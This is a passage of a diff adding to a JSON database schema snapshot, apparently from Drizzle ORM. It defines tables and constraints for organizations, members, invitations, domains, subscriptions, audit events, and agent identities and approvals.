"agent_identities_ownerUserId_users_id_fk": { + "name": "agent_identities_ownerUserId_users_id_fk", + "tableFrom": "agent_identities", + "tableTo": "users", + "columnsFrom": [ + "ownerUserId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "agent_identities_secretHash_unique": { + "name": "agent_identities_secretHash_unique", + "nullsNotDistinct": false, + "columns": [ + "secretHash" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.agent_signup_challenges": { + "name": "agent_signup_challenges", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "challengeHash": { + "name": "challengeHash", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "difficultyBits": { + "name": "difficultyBits", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "expiresAt": { + "name": "expiresAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "consumedAt": { + "name": "consumedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "agent_signup_challenges_expires_at_idx": { + "name": "agent_signup_challenges_expires_at_idx", + "columns": [ + { + "expression": "expiresAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "agent_signup_challenges_challengeHash_unique": { + "name": "agent_signup_challenges_challengeHash_unique", + "nullsNotDistinct": false, + "columns": [ + "challengeHash" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.org_audit_outbox": { + "name": "org_audit_outbox", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "seq": { + "name": "seq", + "type": "bigserial", + "primaryKey": false, + "notNull": true + }, + "orgId": { + "name": "orgId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "eventType": { + "name": "eventType", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "actorId": { + "name": "actorId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "resourceType": { + "name": "resourceType", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "resourceId": { + "name": "resourceId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "driveId": { + "name": "driveId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "details": { + "name": "details", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'::jsonb" + }, + "attempts": { + "name": "attempts", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "lastError": { + "name": "lastError", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "deadLetteredAt": { + "name": "deadLetteredAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "nextAttemptAt": { + "name": "nextAttemptAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "(now() at time zone 'utc')" + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "(now() at time zone 'utc')" + } + }, + "indexes": { + "org_audit_outbox_next_attempt_idx": { + "name": "org_audit_outbox_next_attempt_idx", + "columns": [ + { + "expression": "nextAttemptAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.org_departure_suppressions": { + "name": "org_departure_suppressions", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "orgId": { + "name": "orgId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "emailHash": { + "name": "emailHash", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "(now() at time zone 'utc')" + } + }, + "indexes": {}, + "foreignKeys": { + "org_departure_suppressions_orgId_organizations_id_fk": { + "name": "org_departure_suppressions_orgId_organizations_id_fk", + "tableFrom": "org_departure_suppressions", + "tableTo": "organizations", + "columnsFrom": [ + "orgId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "org_departure_suppressions_org_email_key": { + "name": "org_departure_suppressions_org_email_key", + "nullsNotDistinct": false, + "columns": [ + "orgId", + "emailHash" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.org_domains": { + "name": "org_domains", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "orgId": { + "name": "orgId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "domain": { + "name": "domain", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "dnsToken": { + "name": "dnsToken", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "emailTokenHash": { + "name": "emailTokenHash", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "emailTokenExpiresAt": { + "name": "emailTokenExpiresAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "emailSentTo": { + "name": "emailSentTo", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "verifiedAt": { + "name": "verifiedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "verifiedMethod": { + "name": "verifiedMethod", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "createdBy": { + "name": "createdBy", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "(now() at time zone 'utc')" + } + }, + "indexes": { + "org_domains_verified_domain_key": { + "name": "org_domains_verified_domain_key", + "columns": [ + { + "expression": "domain", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"org_domains\".\"verifiedAt\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "org_domains_orgId_organizations_id_fk": { + "name": "org_domains_orgId_organizations_id_fk", + "tableFrom": "org_domains", + "tableTo": "organizations", + "columnsFrom": [ + "orgId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "org_domains_createdBy_users_id_fk": { + "name": "org_domains_createdBy_users_id_fk", + "tableFrom": "org_domains", + "tableTo": "users", + "columnsFrom": [ + "createdBy" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "org_domains_emailTokenHash_unique": { + "name": "org_domains_emailTokenHash_unique", + "nullsNotDistinct": false, + "columns": [ + "emailTokenHash" + ] + }, + "org_domains_org_domain_key": { + "name": "org_domains_org_domain_key", + "nullsNotDistinct": false, + "columns": [ + "orgId", + "domain" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.org_invitations": { + "name": "org_invitations", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "orgId": { + "name": "orgId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "email": { + "name": "email", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "role": { + "name": "role", + "type": "OrgRole", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'MEMBER'" + }, + "tokenHash": { + "name": "tokenHash", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "invitedBy": { + "name": "invitedBy", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "expiresAt": { + "name": "expiresAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "acceptedAt": { + "name": "acceptedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "(now() at time zone 'utc')" + } + }, + "indexes": { + "org_invitations_email_idx": { + "name": "org_invitations_email_idx", + "columns": [ + { + "expression": "lower(\"email\")", + "asc": true, + "isExpression": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "org_invitations_open_org_email_key": { + "name": "org_invitations_open_org_email_key", + "columns": [ + { + "expression": "orgId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "lower(\"email\")", + "asc": true, + "isExpression": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"org_invitations\".\"acceptedAt\" IS NULL", + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "org_invitations_orgId_organizations_id_fk": { + "name": "org_invitations_orgId_organizations_id_fk", + "tableFrom": "org_invitations", + "tableTo": "organizations", + "columnsFrom": [ + "orgId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "org_invitations_invitedBy_users_id_fk": { + "name": "org_invitations_invitedBy_users_id_fk", + "tableFrom": "org_invitations", + "tableTo": "users", + "columnsFrom": [ + "invitedBy" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "org_invitations_tokenHash_unique": { + "name": "org_invitations_tokenHash_unique", + "nullsNotDistinct": false, + "columns": [ + "tokenHash" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.org_member_departures": { + "name": "org_member_departures", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "orgId": { + "name": "orgId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "reason": { + "name": "reason", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "departedAt": { + "name": "departedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "(now() at time zone 'utc')" + } + }, + "indexes": { + "org_member_departures_user_id_idx": { + "name": "org_member_departures_user_id_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "org_member_departures_orgId_organizations_id_fk": { + "name": "org_member_departures_orgId_organizations_id_fk", + "tableFrom": "org_member_departures", + "tableTo": "organizations", + "columnsFrom": [ + "orgId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "org_member_departures_userId_users_id_fk": { + "name": "org_member_departures_userId_users_id_fk", + "tableFrom": "org_member_departures", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "org_member_departures_org_user_key": { + "name": "org_member_departures_org_user_key", + "nullsNotDistinct": false, + "columns": [ + "orgId", + "userId" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.org_members": { + "name": "org_members", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "orgId": { + "name": "orgId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "role": { + "name": "role", + "type": "OrgRole", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'MEMBER'" + }, + "invitedBy": { + "name": "invitedBy", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "joinedAt": { + "name": "joinedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "(now() at time zone 'utc')" + } + }, + "indexes": { + "org_members_one_owner_key": { + "name": "org_members_one_owner_key", + "columns": [ + { + "expression": "orgId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"org_members\".\"role\" = 'OWNER'", + "concurrently": false, + "method": "btree", + "with": {} + }, + "org_members_user_id_idx": { + "name": "org_members_user_id_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "org_members_orgId_organizations_id_fk": { + "name": "org_members_orgId_organizations_id_fk", + "tableFrom": "org_members", + "tableTo": "organizations", + "columnsFrom": [ + "orgId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "org_members_userId_users_id_fk": { + "name": "org_members_userId_users_id_fk", + "tableFrom": "org_members", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "org_members_invitedBy_users_id_fk": { + "name": "org_members_invitedBy_users_id_fk", + "tableFrom": "org_members", + "tableTo": "users", + "columnsFrom": [ + "invitedBy" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "org_members_org_user_key": { + "name": "org_members_org_user_key", + "nullsNotDistinct": false, + "columns": [ + "orgId", + "userId" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.org_subscription_funding": { + "name": "org_subscription_funding", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "orgId": { + "name": "orgId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "stripeSubscriptionId": { + "name": "stripeSubscriptionId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "stripeInvoiceId": { + "name": "stripeInvoiceId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "basis": { + "name": "basis", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "paidCents": { + "name": "paidCents", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "verifiedAt": { + "name": "verifiedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "(now() at time zone 'utc')" + } + }, + "indexes": {}, + "foreignKeys": { + "org_subscription_funding_orgId_organizations_id_fk": { + "name": "org_subscription_funding_orgId_organizations_id_fk", + "tableFrom": "org_subscription_funding", + "tableTo": "organizations", + "columnsFrom": [ + "orgId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "org_subscription_funding_stripeInvoiceId_unique": { + "name": "org_subscription_funding_stripeInvoiceId_unique", + "nullsNotDistinct": false, + "columns": [ + "stripeInvoiceId" + ] + }, + "org_subscription_funding_org_subscription_key": { + "name": "org_subscription_funding_org_subscription_key", + "nullsNotDistinct": false, + "columns": [ + "orgId", + "stripeSubscriptionId" + ] + } + }, + "policies": {}, + "checkConstraints": { + "org_subscription_funding_evidence_check": { + "name": "org_subscription_funding_evidence_check", + "value": "(\"org_subscription_funding\".\"basis\" = 'paid' AND \"org_subscription_funding\".\"paidCents\" > 0) OR (\"org_subscription_funding\".\"basis\" = 'gift' AND \"org_subscription_funding\".\"paidCents\" >= 0)" + } + }, + "isRLSEnabled": false + }, + "public.org_subscriptions": { + "name": "org_subscriptions", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "orgId": { + "name": "orgId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "stripeSubscriptionId": { + "name": "stripeSubscriptionId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "stripeBasePriceId": { + "name": "stripeBasePriceId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "stripeBaseItemId": { + "name": "stripeBaseItemId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "stripeSeatPriceId": { + "name": "stripeSeatPriceId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "stripeSeatItemId": { + "name": "stripeSeatItemId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "extraSeatQuantity": { + "name": "extraSeatQuantity", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "seatRevision": { + "name": "seatRevision", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "gifted": { + "name": "gifted", + "type": "boolean", + "primaryKey": false, + "notNull": false + }, + "giftedExtraSeats": { + "name": "giftedExtraSeats", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "giftRevision": { + "name": "giftRevision", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "collectionMethod": { + "name": "collectionMethod", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'charge_automatically'" + }, + "currentPeriodStart": { + "name": "currentPeriodStart", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "currentPeriodEnd": { + "name": "currentPeriodEnd", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "cancelAtPeriodEnd": { + "name": "cancelAtPeriodEnd", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "seatsReconciledThrough": { + "name": "seatsReconciledThrough", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "stripeStorageItemId": { + "name": "stripeStorageItemId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "storageBlocks": { + "name": "storageBlocks", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "storageGraceBlocks": { + "name": "storageGraceBlocks", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "storageGraceUntil": { + "name": "storageGraceUntil", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "storageRevision": { + "name": "storageRevision", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "(now() at time zone 'utc')" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "(now() at time zone 'utc')" + } + }, + "indexes": {}, + "foreignKeys": { + "org_subscriptions_orgId_organizations_id_fk": { + "name": "org_subscriptions_orgId_organizations_id_fk", + "tableFrom": "org_subscriptions", + "tableTo": "organizations", + "columnsFrom": [ + "orgId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "restrict", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "org_subscriptions_orgId_unique": { + "name": "org_subscriptions_orgId_unique", + "nullsNotDistinct": false, + "columns": [ + "orgId" + ] + }, + "org_subscriptions_stripeSubscriptionId_unique": { + "name": "org_subscriptions_stripeSubscriptionId_unique", + "nullsNotDistinct": false, + "columns": [ + "stripeSubscriptionId" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.organizations": { + "name": "organizations", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "slug": { + "name": "slug", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "avatarUrl": { + "name": "avatarUrl", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "ownerId": { + "name": "ownerId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "policies": { + "name": "policies", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'::jsonb" + }, + "stripeCustomerId": { + "name": "stripeCustomerId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "stripeSubscriptionId": { + "name": "stripeSubscriptionId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "seatAutoAdd": { + "name": "seatAutoAdd", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "(now() at time zone 'utc')" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "(now() at time zone 'utc')" + } + }, + "indexes": { + "organizations_owner_id_idx": { + "name": "organizations_owner_id_idx", + "columns": [ + { + "expression": "ownerId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "organizations_ownerId_users_id_fk": { + "name": "organizations_ownerId_users_id_fk", + "tableFrom": "organizations", + "tableTo": "users", + "columnsFrom": [ + "ownerId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "restrict", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "organizations_slug_unique": { + "name": "organizations_slug_unique", + "nullsNotDistinct": false, + "columns": [ + "slug" + ] + }, + "organizations_stripeCustomerId_unique": { + "name": "organizations_stripeCustomerId_unique", + "nullsNotDistinct": false, + "columns": [ + "stripeCustomerId" + ] + } + }, + "policies": {}, + "checkConstraints": { + "organizations_avatar_url_chk": { + "name": "organizations_avatar_url_chk", + "value": "\"organizations\".\"avatarUrl\" IS NULL OR \"organizations\".\"avatarUrl\" ~ ('^/api/orgs/' || \"organizations\".\"id\" || '/avatar/avatar-[a-z0-9]{1,32}\\.(png|jpg|gif|webp)$')" + } + }, + "isRLSEnabled": false + }, + "public.org_guest_holds": { + "name": "org_guest_holds", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "orgId": { + "name": "orgId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "driveId": { + "name": "driveId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "email": { + "name": "email", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "state": { + "name": "state", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "origin": { + "name": "origin", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "request": { + "name": "request", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'::jsonb" + }, + "parked": { + "name": "parked", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "requestedBy": { + "name": "requestedBy", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "(now() at time zone 'utc')" + } + }, + "indexes": { + "org_guest_holds_org_state_idx": { + "name": "org_guest_holds_org_state_idx", + "columns": [ + { + "expression": "orgId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "state", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "org_guest_holds_drive_id_idx": { + "name": "org_guest_holds_drive_id_idx", + "columns": [ + { + "expression": "driveId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "org_guest_holds_user_id_idx": { + "name": "org_guest_holds_user_id_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "org_guest_holds_user_drive_state_key": { + "name": "org_guest_holds_user_drive_state_key", + "columns": [ + { + "expression": "driveId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "state", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"org_guest_holds\".\"userId\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + }, + "org_guest_holds_email_drive_state_key": { + "name": "org_guest_holds_email_drive_state_key", + "columns": [ + { + "expression": "driveId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "lower(\"email\")", + "asc": true, + "isExpression": true, + "nulls": "last" + }, + { + "expression": "state", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"org_guest_holds\".\"userId\" IS NULL AND \"org_guest_holds\".\"email\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "org_guest_holds_orgId_organizations_id_fk": { + "name": "org_guest_holds_orgId_organizations_id_fk", + "tableFrom": "org_guest_holds", + "tableTo": "organizations", + "columnsFrom": [ + "orgId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "org_guest_holds_driveId_drives_id_fk": { + "name": "org_guest_holds_driveId_drives_id_fk", + "tableFrom": "org_guest_holds", + "tableTo": "drives", + "columnsFrom": [ + "driveId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "org_guest_holds_userId_users_id_fk": { + "name": "org_guest_holds_userId_users_id_fk", + "tableFrom": "org_guest_holds", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "org_guest_holds_requestedBy_users_id_fk": { + "name": "org_guest_holds_requestedBy_users_id_fk", + "tableFrom": "org_guest_holds", + "tableTo": "users", + "columnsFrom": [ + "requestedBy" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "org_guest_holds_shape": { + "name": "org_guest_holds_shape", + "value": "(\"org_guest_holds\".\"userId\" IS NOT NULL) <> (\"org_guest_holds\".\"email\" IS NOT NULL) AND (\"org_guest_holds\".\"state\" <> 'suspended' OR \"org_guest_holds\".\"userId\" IS NOT NULL)" + } + }, + "isRLSEnabled": false + }, + "public.agent_account_approvals": { + "name": "agent_account_approvals", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "accountId": { + "name": "accountId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "requestDigest": { + "name": "requestDigest", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "outcome": { + "name": "outcome", + "type": "agent_account_approval_outcome", + "typeSchema": "public", + "primaryKey": false, + "notNull": true + }, + "approvedByUserId": { + "name": "approvedByUserId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "approvedViaSessionId": { + "name": "approvedViaSessionId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "stepUpChallengeId": { + "name": "stepUpChallengeId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "expiresAt": { + "name": "expiresAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + }, + "consumedAt": { + "name": "consumedAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "consumedByGrantId": { + "name": "consumedByGrantId", + "type": "text", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "agent_account_approvals_account_digest_idx": { + "name": "agent_account_approvals_account_digest_idx", + "columns": [ + { + "expression": "accountId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "requestDigest", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "agent_account_approvals_accountId_agent_accounts_id_fk": { + "name": "agent_account_approvals_accountId_agent_accounts_id_fk", + "tableFrom": "agent_account_approvals", + "tableTo": "agent_accounts", + "columnsFrom": [ + "accountId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "agent_account_approvals_approvedByUserId_users_id_fk": { + "name": "agent_account_approvals_approvedByUserId_users_id_fk", + "tableFrom": "agent_account_approvals", + "tableTo": "users", + "columnsFrom": [ + "approvedByUserId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "agent_account_approvals_consumed_chk": { + "name": "agent_account_approvals_consumed_chk", + "value": "(\"agent_account_approvals\".\"consumedAt\" IS NULL) = (\"agent_account_approvals\".\"consumedByGrantId\" IS NULL)" + } + }, + "isRLSEnabled": false + }, + "public.agent_account_bindings": { + "name": "agent_account_bindings", + "schema": "", + "columns": { + "accountId": { + "name": "accountId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "agentPageId": { + "name": "agentPageId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "boundByUserId": { + "name": "boundByUserId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "boundAt": { + "name": "boundAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "revokedAt": { + "name": "revokedAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "agent_account_bindings_agent_page_id_idx": { + "name": "agent_account_bindings_agent_page_id_idx", + "columns": [ + { + "expression": "agentPageId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "agent_account_bindings_accountId_agent_accounts_id_fk": { + "name": "agent_account_bindings_accountId_agent_accounts_id_fk", + "tableFrom": "agent_account_bindings", + "tableTo": "agent_accounts", + "columnsFrom": [ + "accountId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + 